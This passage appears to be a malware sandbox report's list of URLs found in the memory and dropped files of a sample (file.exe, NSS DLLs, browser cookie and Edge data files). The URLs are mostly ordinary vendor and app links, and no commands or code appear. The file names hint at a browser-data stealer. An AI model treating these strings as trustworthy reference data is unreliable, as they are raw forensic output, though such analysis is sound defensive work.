Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://gaana.com/
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: DHIJDHIDBGHJKECBFIID.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://m.kugou.com/
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://m.vk.com/
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXIDv10
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://music.amazon.com
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://music.apple.com
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://music.yandex.com
Source: 000003.log3.10.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.10.dr, 000003.log.10.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.10.dr	String found in binary or memory: https://ntp.msn.com/0
Source: 000003.log9.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log9.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://open.spotify.com
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.1971911625.0000000000C97000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1877667133.0000000023C44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GNzbMA16ssY5
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://tidal.com/
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://web.telegram.org/
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://web.whatsapp.com
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2000860922.00000000239E2000.00000004.00000020.00020000.00000000.sdmp, DHIJDHIDBGHJKECBFIID.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.1973362137.00000000014F3000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2677187263.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2678090690.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2676799938.000000000555E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.10.dr, content_new.js.10.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.1757706785.000000002398D000.00000004.00000020.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2677187263.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2678090690.000000000555B000.00000004.00000800.00020000.00000000.sdmp, ec3f41365f.exe, 0000001D.00000003.2676799938.000000000555E000.00000004.00000800.00020000.00000000.sdmp, GDBAKEGI.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 86d5c4f1-9280-4bbb-b573-d40043df092b.tmp.11.dr	String found in binary or memory: https://www.googleapis.com
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.instagram.com
Source: file.exe, 00000000.00000002.2000860922.00000000239E2000.00000004.00000020.00020000.00000000.sdmp, DHIJDHIDBGHJKECBFIID.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.last.fm/
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.messenger.com
Source: file.exe, 00000000.00000002.1971911625.0000000000BB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.1971911625.0000000000BB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/HDAFHJKEGIID
Source: file.exe, 00000000.00000003.1877667133.0000000023C44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.HCe2hc5EPKfq
Source: file.exe, 00000000.00000002.1971911625.0000000000BB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.1971911625.0000000000BB4000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1971911625.0000000000C97000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.1971911625.0000000000C97000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: file.exe, 00000000.00000003.1877667133.0000000023C44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.oX6J3D7V9Efv
Source: file.exe, 00000000.00000002.1971911625.0000000000BB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1877667133.0000000023C44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.1971911625.0000000000BB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1877667133.0000000023C44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.1971911625.0000000000BB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1877667133.0000000023C44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1971911625.0000000000BB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
